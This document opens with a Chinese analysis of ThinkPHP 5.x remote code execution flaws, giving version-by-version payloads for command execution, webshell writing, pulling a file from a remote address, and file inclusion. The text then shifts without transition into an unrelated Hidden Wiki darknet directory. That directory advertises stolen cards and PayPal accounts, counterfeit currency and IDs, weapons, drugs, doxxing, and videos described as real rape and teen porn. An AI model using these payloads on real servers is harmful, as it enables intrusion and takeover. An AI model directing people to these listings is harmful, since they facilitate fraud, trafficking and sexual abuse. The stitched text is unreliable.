首先是经过$dispatch = self::routeCheck($request, $config)检查调用的路由，然后会根据debug开关来选择是否执行Request::instance()->param()，然后是一个switch语句，当$dispatch等于controller或者method时会执行Request::instance()->param()，只要是存在的路由就可以进入这两个case分支。

而在 ThinkPHP5 完整版中，定义了验证码类的路由地址?s=captcha，默认这个方法就能使$dispatch=method从而进入Request::instance()->param()。

我们继续跟进Request::instance()->param()

执行合并参数判断请求类型之后return了一个input()方法，跟进

将被__contruct覆盖掉的filter字段回调进filterValue()，这个方法我们需要特别关注了，因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input 方法均调用了 filterValue 方法，而该方法中就存在可利用的 call_user_func 函数。跟进

call_user_func调用system造成rce。

梳理一下：$this->method可控导致可以调用__contruct()覆盖Request类的filter字段，然后App::run()执行判断debug来决定是否执行$request->param()，并且还有$dispatch['type'] 等于controller或者 method 时也会执行$request->param()，而$request->param()会进入到input()方法，在这个方法中将被覆盖的filter回调call_user_func()，造成rce。

最后借用七月火师傅的一张流程图

method __contruct导致的rce 各版本payload

一个一个版本测试，测试选项有命令执行、写shell、debug选项

5.0

debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.1

debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.2

debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.3

debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.4

debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.5

debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.6

debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.7

debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.8

debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.9

debug 无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.10

从5.0.10开始默认debug=false，debug无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.11

默认debug=false，debug无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.12

默认debug=false，debug无关
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

5.0.13

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

版本和DEBUG选项的关系

5.0.13版本之后需要开启debug才能rce，为什么？比较一下5.0.13和5.0.5版本的代码

https://github.com/top-think/framework/compare/v5.0.5…v5.0.13#diff-d86cf2606459bf4da21b7c3a1f7191f3

可见多了一个exec方法把switch ($dispatch['type'])摘出来了，然后在case module中执行了module()，在module()中多了两行。

// 设置默认过滤机制
$request->filter($config['default_filter']);

问题就出在这，回顾我们上文分析5.0.5，是从App::run()方法中第一次加载默认filter位置: thinkphp/library/think/App.php

$request->filter($config['default_filter']);

在覆盖的时候可以看到，默认default_filter是为空字符串，所以最后便是进入了$this->filter = $filter导致system值变为空。

public function filter($filter = null){
        if (is_null($filter)) {
            return $this->filter;
        } else {
            $this->filter = $filter;
        }
}

PHP

接下来就是我们进入了路由check，从而覆盖filter的值为system

但是在5.0.13中，摘出来的exec()中的module()方法thinkphp/library/think/App.php:544 会重新执行一次$request->filter($config['default_filter']); 把我们覆盖好的system重新变为了空，导致失败。

那为什么开了debug就可以rce？

这里会先调用$request->param()，然后在执行self::exec($dispatch, $config)，造成rce。

那有没有别的办法不开debug直接rce呢？
和debug的原理一样，switch的时候进入module分支会被覆盖，那就进入到其他的分支。

在thinkphp5完整版中官网揉进去了一个验证码的路由，可以通过这个路由触发rce

这个是我在5.0.13下试出来的payload "topthink/think-captcha": "^1.0"

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

我们继续

5.0.13补充

补充
有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.14

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.15

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.16

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.17

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.18

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.19

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.20

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET

5.0.21

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

写shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

5.0.22

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

写shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

5.0.23

默认debug=false，需要开启debug
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc

写shell

POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('Y4er.php','<?php phpinfo();')

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get

5.0.24

作为5.0.x的最后一个版本，rce被修复

5.1.0

默认debug为true
命令执行

POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true
"topthink/think-captcha": "2.*"

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&s=calc&method=get

5.1.1

命令执行

POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc

写shell

POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

有captcha路由时无需debug=true

POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&s=calc&method=get

至此，不再一个一个版本测了，费时费力。
基于__construct的payload大部分出现在5.0.x及低版本的5.1.x中。下文分析另一种rce。

未开启强制路由导致rce

这种rce的payload多形如

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

环境

"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.29",
    "topthink/think-captcha": "2.*"
},

JSON

分析

thinkphp默认没有开启强制路由，而且默认开启路由兼容模式。那么我们可以用兼容模式来调用控制器，当没有对控制器过滤时，我们可以调用任意的方法来执行。上文提到所有用户参数都会经过 Request 类的 input 方法处理，该方法会调用 filterValue 方法，而 filterValue 方法中使用了 call_user_func ，那么我们就来尝试利用这个方法。访问

http://php.local/thinkphp5.1.30/public/?s=index/thinkRequest/input&filter[]=system&data=whoami

打断点跟进到thinkphp/library/think/App.php:402

routeCheck()返回$dispatch是将 / 用 | 替换

然后进入init()

public function init()
    {
        // 解析默认的URL规则
        $result = $this->parseUrl($this->dispatch);

        return (new Module($this->request, $this->rule, $result))->init();
    }

PHP

进入parseUrl()

进入parseUrlPath()

在此处从url中获取[模块/控制器/操作]，导致parseUrl()返回的route为

导致thinkphp/library/think/App.php:406的$dispatch为

直接调用了input()函数，然后会执行到 App 类的 run 方法，进而调用 Dispatch 类的 run 方法，该方法会调用关键函数 exec thinkphp/library/think/route/dispatch/Module.php:84，进而调用反射类

此时反射类的参数均可控，调用input()

在进入input()之后继续进入$this->filterValue()

跟进后执行call_user_func()，实现rce

整个流程中没有对控制器进行合法校验，导致可以调用任意控制器，实现rce。

修复

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](w|.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

大于5.0.23、大于5.1.30获取时使用正则匹配校验

payload

命令执行

5.0.x
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.1.x
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

写shell

5.0.x
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)
5.1.x
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkviewdriverThink/display&template=<?php phpinfo();?>             //shell生成在runtime/temp/md5(template).php
?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)

其他

5.0.x
?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php     # 包含任意.php文件

如果你碰到了控制器不存在的情况，是因为在tp获取控制器时，thinkphp/library/think/App.php:561会把url转为小写，导致控制器加载失败。

总结

其实thinkphp的rce差不多都被拦截了，我们其实更需要将rce转化为其他姿势，比如文件包含去包含日志，或者转向反序列化。姿势太多，总结不过来，这篇文章就到这里把。

参考

• https://xz.aliyun.com/t/6106
• https://www.cnblogs.com/iamstudy/articles/thinkphp_5_x_rce_1.html
• https://github.com/Mochazz/ThinkPHP-Vuln
• https://xz.aliyun.com/search?keyword=thinkphp
• https://github.com/Lucifer1993/TPscan
• https://www.kancloud.cn/manual/thinkphp5_1/353946
• https://www.kancloud.cn/manual/thinkphp5
• https://github.com/top-think/thinkphp

from

Contents

    1 Editor's picks
    2 Volunteer
    3 Introduction Points
    4 Financial Services
    5 Commercial Services
    6 Domain Services
    7 Anonymity & Security
    8 Blogs / Essays / Wikis
    9 Email / Messaging
    10 Social Networks
    11 Forums / Boards / Chans
    12 Whistleblowing
    13 H/P/A/W/V/C
    14 Hosting, website developing
    15 File Uploaders
    16 Audio - Music / Streams
    17 Video - Movies / TV
    18 Books
    19 Drugs
    20 Erotica
        20.1 Noncommercial (E)
        20.2 Commercial (E)
    21 Uncategorized
    22 Non-English
        22.1 Belarussian / Белорусский
        22.2 Finnish / Suomi
        22.3 French / Français
        22.4 German / Deutsch
        22.5 Greek / ελληνικά
        22.6 Italian / Italiano
        22.7 Japanese / 日本語
        22.8 Korean / 한국어
        22.9 Chinese / 中国語
        22.10 Polish / Polski
        22.11 Russian / Русский
        22.12 Spanish / Español
        22.13 Portuguese / Português
        22.14 Swedish / Svenska
    23 Hidden Services - Other Protocols
    24 P2P FileSharing
        24.1 Chat centric services
            24.1.1 IRC
            24.1.2 SILC
            24.1.3 XMPP (formerly Jabber)
            24.1.4 TorChat Addresses
    25 SFTP - SSH File Transfer Protocol
        25.1 OnionCat Addresses
        25.2 Bitcoin Seeding
    26 Dead Hidden Services

Editor’s picks

Pick a random page from the article index and replace one of these slots with it:

1. The Matrix – Very nice to read.
2. How to Exit the Matrix – Learn how to Protect yourself and your rights, online and off.
3. Verifying PGP signatures – A short and simple how-to guide.
4. In Praise Of Hawala – Anonymous informal value transfer system.
5. Terrific Strategies To Apply A Social media Marketing Approach – Great tips for the internet marketer.

Volunteer

Here are the six different things that you can help us out with:

1. Plunder other hidden service lists for links and place them here!
2. File the SnapBBSIndex links wherever they go.
3. Set external links to HTTPS where available, good certificate, and same content.
4. Care to start recording onionland’s history? Check out Onionland’s Museum.
5. Perform Dead Services Duties.
6. Remove CP shitness.

Introduction Points

• Ahmia.fi – Clearnet search engine for Tor Hidden Services.
• DuckDuckGo – A Hidden Service that searches the clearnet.
• Torlinks – TorLinks is a moderated replacement for The Hidden Wiki.
• Torch – Tor Search Engine. Claims to index around 1.1 Million pages.
• The Hidden Wiki – A mirror of the Hidden Wiki. 2 days old users can edit the main page. [redirect]
• Not Evil is a Tor search engine which only indexes hidden services on Tor.
• Self-defense Surveillance Guide Tips, Tools and How-tos for Safer Online Communications (clearnet).

Financial Services

Currencies, banks, money markets, clearing houses, exchangers:

• The Green Machine! Forum type marketplace with some of the oldest and most experienced vendors around. Get your paypals, CCs, etc.
• The Paypal Cent Paypal accounts with good balances – buy some, and fix your financial situation for awhile.
• Premium Cards Oldest cc vendor, Top quality Us & Eu credit cards!
• Financial Oasis A slew of products from a darker side of finance.
• netAuth Automatic system to buy Paypal accounts and credit cards instantly in your e-mail. Socks5 included.
• Capital Ventures Offering high quality prepaid products for a great deal
• Hidden Wallet – Tor Anonymous Hidden Bitcoin Wallet
• Paypal Baazar – paypal accounts for sale
• Cash Machine – Phished PayPal, Neteller, Skrill, BoA, Wells fargo bank Accounts, Paysafecard’s, US & EU Credit cards are available here.
• Shadow Wallet – An Anonymous User Friendly Bitcoin Wallet/Mixer
• Global Carding Forum – Escrow Accepted + CashApp, Western Union, Moneygram, Paypal, Zelle, Amazon, Ebay, Wire, Off-Shore Bank, VCC, CC with Pin
• Queen Galaxy – #1 Female Carding Shop Since 2011! CashApp, Western Union, Moneygram, Amazon, Wire Transfer, Prepaid, Debit, Credit & More
• Bitcards – The most trusted credit cards store in darknet with returning customers.
• OnionWallet – Anonymous Bitcoin Wallet and Bitcoin Laundry.
• KryptoPayPal – PayPal Cashout Service. Get the account balance back in Bitcoin.
• TOP Cards – Credit Cards, from the most Trusted Vendor in the union.Fast shipping.
• Your C.Card Shop – Physical credit cards with High balance available to order. Paypal or bitcoins as payment method.
• USJUD Counterfeits – EUR || USD Western Union money, any trusted escrow accepted, the most trusted seller.
• Financial Market – Prepaid cards (VISA/MasterCard). Cloned Cards. Gift Cards (VISA/Amazon/PayPal). PayPal/Western Union Transfers. Escrow Accepted!
• EasyCoin – Bitcoin Wallet with free Bitcoin Mixer.
• Black&White Cards – Black&White Cards – High Quality Pre-Paid Debit Cards with PIN. Good Customer Service. Best Deals
• Real currency – Finest bills on market. Passes all known tests. Random serials. Only top-notch currency.
• The Cards World – Get your Financial Freedom Today.
• PP&CC Money vault – 24/7 automated PayPal & Credit card shop. New stock every day. Safe cashout.
• Prepaid Cards – Oldest seller on old HW. Fresh stock. 99.9% safe. Worldwide cashout! Express shipping. Escrow.
• Horizon Store – Automated carding store.Fast replies. 90% cards are valid.
• Black Store – Bank cards store with fresh stock and instant delivery. Every deal protected by Escrow service
• Queens Cash – Buy Pre-Shredded USD & EURO Currency for a fraction of the value. WE SELL REAL CASH

Commercial Services

• Guns Dark Market Guns market to buy guns, full auto assault rifles, pistols, grenade launchers, etc.
• Counterfeiting Center A Store to buy passports, idcards, credit cards, offshore bank accounts, counterfeits money
• CStore – The original CardedStore – Electronics purchased with carded giftcards, Everything Brand new. Full escrow accepted
• Apple Palace low priced Apple Products!
• Gold & Diamonds Genuine Gold, Diamonds and Rhino Horn shipped from Germany and USA.
• Football Money – Fixed football games info.
• HackingTeam – Hacking as a Service Team.
• EuroGuns – Your #1 european arms dealer.
• USfakeIDs – High quality USA Fake Drivers Licenses.
• Fake Passport ID sale – Website selling qualitative EU/US/AUS/CAN fake passports, ID cards and driver’s licenses.
• Samsungstore Samsung tablets, smartphones, notebooks with escrow.
• Kamagra for Bitcoin – Same as Viagra but cheaper!
• Apples4Bitcoin – Cheap Apple products for Bitcoin.
• Onion Identity Services – Selling Passports and ID-Cards for Bitcoins.
• Bankors – Cloned/Prepaid Credit Cards and Money Transfers via PayPal or Western Union Service Since 2015
• Helix Light – Bitcoins Mixer, Completely Anonymize Your Bitcoins Before You Purchase. Since 2011.
• Apple World – Carded iPhones, iPads, Macbooks, iMacs and consoles shipping worldwide.
• Amazon cards – Bring dreams to reality with these amazing Amazon gift cards.
• Mobile Store – Factory unlocked iphones and other smartphones.
• Cards – Credit cards with high balance
• Low Balance CC’s Get cheap low balance cards
• Bitcoin Fortune Buy New Bitcoin Miners at a discount
• EasyPayPal – Trusted PayPal onion shop with big history. Good prices
• CryptoMixer – Top-trusted Bitcoin mixing service. Built from the ground up with security, simplicity and speed in mind.

Got some new sites to recommend? Click here to propose it to the Hidden Wiki.

Domain Services

• OnionName – Choose your desired domain name prefix, and order the .onion domain, starting from 0.45 mBTC for 8 letters.

Anonymity & Security

• Fake ID Generator – Fake Identity Name, SSN, Driver’s License, and Credit Card Numbers Generator
• BrowsInfo – Check your anonymity and browser traceability

Read more:

• Anonymity
• Security
• Privacy

Blogs / Essays / Wikis

• Tor Metrics – Welcome to Tor Metrics, the primary place to learn interesting facts about the Tor network, the largest deployed anonymity network to date. If something can be measured safely, you’ll find it here.
• Superkuh – Much information about spectrogram, wireless, and radio.
• Beneath VT – Exploring Virginia Tech’s steam tunnels and beyond.
• Tor Against CP! – Free and clean Tor – Tor users against CP!
• Go Beyond A blog about politics, potatoes, technology, Tor, etc.

Email / Messaging

See also: The compendium of clear net Email providers.

• secMail.pro – Complete mail service that allows you to send and receive mails without violating your privacy.
• Mail2Tor – Mail2Tor is a free anonymous e-mail service made to protect your privacy.
• Elude.in – Elude.in is a privacy based email service and a Bitcoin/Monero exchange.
• TorBox – This is a hidden mailbox service only accessible from TOR without connection with public internet.
• BitMessage – Connects bitmessage and e-mail services. Registration only available using the clearweb link.
• Protonmail – Swiss based e-mail service, encrypts e-mails locally on your browser. Free and paid accounts.
• TorGuerrillaMail – Disposable Temporary E-Mail Address.
• Chat with strangers Talk to random users anonymously.
• CTemplar – First ever high end fully encrypted tor email service
• Shielded – Security-focused mailbox hosting with customizable .ONION domain name. Payment by smart escrow (multi-sig contracts or Lightning Network transactions).
• Ableonion – Random chat with other tor users

Social Networks

• Connect – Connect is a collective that recognizes and promotes anticapitalism, antiracism, antifascism, antisexism, antimililtarism, and anti-what-the-fuck-ever and the refusal of authoritarianism and hierarchies.
• Galaxy3 – Galaxy3 is a new, Social Networking experience for the darknet!
• Torbook 2.0 – The Facebook of Tor. Share your memories, connect with others and make friends.
• Facebook – The real Facebook’s Onion domain. Claim not to keep logs. Trust them at your peril.

Forums / Boards / Chans

• The Stock Insiders – The Oldest and the Largest Insider Trading Forum. The community for exchanging Insider Information about the Publicly Traded Companies.
• The Intel Exchange – Know or need to know something? Ask and share at this underground intelligence gathering network.
• DNM Avengers – Darknet drug forum with reviews and marketplace discussion.
• OnionLand – Discussion forum about all the Darkweb markets related topics.
• Dread – ,,Reddit like website.

Whistleblowing

• WikiLeaks DeepWeb mirror of the famous Wikileaks website
• Doxbin – A pastebin for personally identifiable information.
• SecureDrop – The open-source whistleblower submission system managed by Freedom of the Press Foundation.
• Active at Darknet Markets? – Onion set up by the Police and the Judicial Authorities of the Netherlands, listing Active, identified, and arrested Darknet Market operators.
• Cryptome – Archive Government Leaks. Documents for publication that are prohibited by governments worldwide, in particular material on freedom of expression, privacy, cryptology, dual-use technologies, national security, intelligence, and secret governance — open, secret and classified documents — but not limited to those
• SecureDrop – An open-source whistleblower submission system that media organizations can use to securely accept documents from and communicate with anonymous sources.

H/P/A/W/V/C

Hack, Phreak, Anarchy (internet), Warez, Virus, Crack

• HeLL Forum – HeLL Reloaded is back!
• RelateList – New era of intelligence.
• CODE: GREEN – Ethical hacktivism for a better world. Join us and participate in modern world protests!
• Hack Canada – America is a joke and Canada is the punchline. Old-ish hacking site, hosts a few archives.
• Hacker Place – Site with several books and resources on software development, pentesting and hacking.
• WE fight censorship – a Reporters Without Borders project that aims to combat censorship and promote the flow of news and information.

Hosting, website developing

• TorVPS Shells – Free torified shell accounts, can be used for .onion hosting, IRC, etc.
• SporeStack API-driven VPS hosting for Bitcoin. Clearnet and hidden Tor hosting.
• HomeHosting – A system administrator who can set up your private home server
• Prometheus_Hidden_Services – Payed hosting, provides Virtual Private Server (VPS) with Linux.
• darknet design — web design (HTML, CSS, PHP) plus graphics design and a few other things.
• Daniel’s Hosting – Solution d’hébergement gratuite uniquement pour un projet personnel non commercial. Possibilité payer pour plus de contrôle. Support réactif.

File Uploaders

• Just upload stuff – Upload files up to 300MB.
• ZeroBin – ZeroBin is a minimalist, opensource online pastebin where the server has zero knowledge of pasted data.
• Felixxx – Felixxx Image Uploader & Pastebin
• Image Hosting – Upload your images/photos to our free image hosting
• Image Upload – Multiple file formats accepted.
• Matrix – Image Uploader&PasteBin

Audio – Music / Streams

• Deepweb Radio – RadioService operating over TOR.

Video – Movies / TV

• The Pirate Bay – Deepweb version of the famous torrent site.

Books

• Example rendezvous points page – Thomas Paine’s Common Sense and The Federalist papers
• Traum library mirror – 60GB of Russian and English books. A mirror of the latest Traum ISO. Covers, search and downloads in FB2, HTML and plain TXT
• ParaZite – Collection of forbidden files and howto’s (pdf, txt, etc.).
• Jotunbane’s Reading Club “All your ebooks belong to us!”
• Liberated Books and Papers A small collection of hard to find books.
• Clockwise Library A collection of art and science books.
• The Last of PAPYREFB2 A collection of mostly Spanish books.
• Paul Dreyer’s eBook Library – DRM-Free Growing eBook Library, mostly in ePub format.
• BB Compendium – A collection of chemistry, drugs, explosives, fireworks, pyrotechnics, science, and weapons related documents.
• The Incorrect Library – 1100 books (and counting…) Beautifully prepared in E-Pub format, with a focus on publishing politically incorrect books
• Comic Book Library – Collection of comic books, largely independent.
• The Library A collection of hard to find books.
• Bible – several links for downloading versions of the Bible
• Libraries A more complete list

Drugs

• Drug Market – Anonymous marketplace for all kinds of drugs.
• Greenroad – Biggest marketplace with full working escrow.
• Weed&Co – Weed / Cigarettes … Prix Bas / Low Price … weed / cigarette
• EuCanna – ‘First Class Cannabis Healthcare’ – Medical Grade Cannabis Buds, Rick Simpson Oil, Ointments and
• Peoples Drug Store – The Darkweb’s Best Online Drug Supplier
• Smokeables – Finest Organic Cannabis shipped from the USA
• CannabisUK – UK Wholesale Cannabis Supplier
• DeDope – German Weed and Hash shop (Bitcoin)
• BitPharma – EU vendor for cocaine, speed, mdma, psychedelics and subscriptions
• Brainmagic – Best psychedelics on the darknet
• NLGrowers – Coffee Shop grade Cannabis from the netherlands
• The Pot Shop – Weed and Pot Shop Trading for longer than a year now! (Bitcoin) -UPGRADED DOMAIN-
• Steroid King – All the steroids you need. (Bitcoin)
• Wacky Weed – Hi Quality Green at Wacky Prices

Erotica

Noncommercial (E)

• Fappening Onion Compilation – Leaked celebrity nudes.

Commercial (E)

• Darkscandals Real rape, humiliation, forced videos and much more extreme videos! (Pack 8 is out! More than 1800 video files in the packs).
• TeenPorn The best selection of amateur teen porn videos from the deep web

Uncategorized

Services that defy categorization, or that have not yet been sorted.

• IIT Underground – Information on and photos of the steam tunnels and roofs at the Illinois Institute of Technology

Non-English

Belarussian / Белорусский

Finnish / Suomi

• Thorlauta – Thorlauta.
• Silkkitie – Silkkitie.

French / Français

• French Freedom Zone – Malwares, Hacking, Dev, Esotérisme | Elitisme & Aristocratie.
• Cyberdéfenseur – Dernières actualités juridiques & informatiques. Collectif d’informaticiens et de juristes.
• Hommage à Napoleon – Place in memory of Napoleon, the architect of most of the french deepweb.
• Démocratie Participative – Uncensored french news website
